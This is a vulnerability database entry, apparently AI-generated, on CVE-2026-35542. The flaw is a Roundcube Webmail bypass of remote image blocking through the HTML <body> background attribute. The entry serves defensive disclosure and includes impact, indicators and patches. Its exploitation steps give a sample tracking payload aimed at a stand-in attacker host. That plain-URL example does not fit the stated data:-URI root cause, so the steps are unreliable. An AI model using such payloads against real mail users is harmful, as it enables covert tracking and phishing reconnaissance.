Cloud Vulnerability DB
A community-led vulnerabilities database
Vulnerability DatabaseCVE-2026-35542
CVE-2026-35542:
PHP vulnerability analysis and mitigation
Overview
CVE-2026-35542 is a remote image blocking bypass vulnerability in Roundcube Webmail that allows attackers to circumvent the application's security feature designed to prevent automatic loading of remote images. The flaw exists in versions before 1.5.14 and in the 1.6.x branch before 1.6.14, and was reported by security researcher nullcathedral. Patches were released on March 18, 2026, alongside several other security fixes. It carries a CVSS v3.1 base score of 5.3 (Medium) (GitHub Advisory, Roundcube News).
Technical details
The root cause is an incorrect resource transfer between spheres (CWE-669) combined with improper input neutralization (CWE-79) in Roundcube's HTML sanitization library rcube_washtml.php. The wash_uri() function failed to properly validate the background attribute of HTML <BODY> elements in email messages, allowing crafted data: URIs that were not strictly valid base64-encoded images to pass through the sanitizer unchecked. The fix adds a strict check requiring that any URI at that code path must contain a valid base64 image type and only valid base64 characters; otherwise the attribute is stripped and replaced with x-washed="background" (Commit fd0e981, Commit fde14d0). No authentication or user interaction is required to send the malicious email, though a user must open or preview the message for the bypass to take effect.
Impact
Successful exploitation allows a remote attacker to cause Roundcube to load external images or resources that should have been blocked, potentially disclosing the recipient's IP address, email client details, and read-receipt information to the attacker's server. This constitutes an information disclosure risk (confidentiality impact) and may also enable access-control bypass scenarios where security policies restricting remote content are circumvented. Integrity and availability are not directly affected, and lateral movement potential is limited, but the technique is commonly used in email tracking and targeted phishing campaigns (GitHub Advisory, Feedly).
Exploitability
No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at the time of disclosure (GitHub Advisory). The EPSS score is approximately 0.034%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No specific threat actor attribution has been reported. Despite the low exploitation probability, the attack requires no privileges and no user interaction beyond opening an email, making it straightforward to weaponize in mass email campaigns.
Exploitation steps
- Craft malicious email: Compose an HTML email containing a
<BODY>element with a craftedbackgroundattribute pointing to an attacker-controlled external URL (e.g.,<body background="https://attacker.example.com/track.png?id=victim">), designed to bypass Roundcube'srcube_washtmlsanitizer in unpatched versions. - Send to target: Deliver the email to a Roundcube user on a vulnerable instance (before 1.5.14 or 1.6.x before 1.6.14). No authentication to the target system is required.
- Wait for victim to open email: When the recipient opens or previews the message in Roundcube, the webmail client renders the HTML body and the browser automatically issues an HTTP GET request to the attacker's URL, bypassing the remote image blocking feature.
- Collect disclosed information: The attacker's server logs the incoming request, capturing the victim's IP address, browser/client User-Agent string, and timestamp — enabling tracking, profiling, or confirmation of email delivery and read status (GitHub Advisory, Commit fde14d0).
Indicators of compromise
- Network: Outbound HTTP/HTTPS GET requests from the Roundcube server or user's browser to unexpected external hosts triggered upon email preview, particularly to domains not associated with legitimate email senders; requests with tracking-style query parameters (e.g.,
?id=,?uid=,?token=). - Logs: Roundcube or web server access logs showing rendering of emails containing
<body background="http[s]://...">attributes pointing to external hosts; browser network logs capturing requests to attacker-controlled image URLs when an email is opened. - File System: No file system artifacts are expected for this vulnerability type, as exploitation is purely in-memory/network-based.
- Email Headers: Suspicious inbound emails with HTML bodies containing
<body background="...">attributes referencing external URLs, especially with unique per-recipient identifiers in the URL path or query string.
Mitigation and workarounds
Roundcube has released patched versions addressing this vulnerability: upgrade to 1.5.14 (for 1.5.x deployments), 1.6.14 (for 1.6.x deployments), or 1.7-rc5 (for 1.7 branch users). The fix is in program/lib/Roundcube/rcube_washtml.php, where the wash_uri() function now strictly validates that only valid base64-encoded images are permitted through the background attribute handler. For organizations unable to patch immediately, implementing email gateway-level filtering to strip or sanitize background attributes from HTML <BODY> elements in incoming messages can reduce exposure (Roundcube News, GitHub Release 1.6.14).
Community reactions
The vulnerability was reported by security researcher nullcathedral and was addressed as part of a broader set of security fixes released by Roundcube on March 18, 2026, covering multiple issues including pre-auth file write, IMAP injection, and XSS vulnerabilities (GitHub Release 1.6.14). Red Hat tracked the issue via Bugzilla and the vulnerability was indexed by ENISA's EUVD. Detection plugins were published by Tenable (Nessus) and Qualys shortly after disclosure, indicating standard industry response for a medium-severity webmail vulnerability (Red Hat Bugzilla).
Additional resources
Linux Distribution fix status
Fix availability across major Linux distributions and their releases.
bookworm
roundcube: 1.6.5+dfsg-1+deb12u8
sid
roundcube: 1.6.14+dfsg-1
trixie
roundcube: 1.6.15+dfsg-0+deb13u1
Source: This report was generated using AI
Related PHP vulnerabilities:
Free Vulnerability Assessment
Benchmark your Cloud Security Posture
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Additional Wiz resources
Get a personalized demo
Ready to see Wiz in action?
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management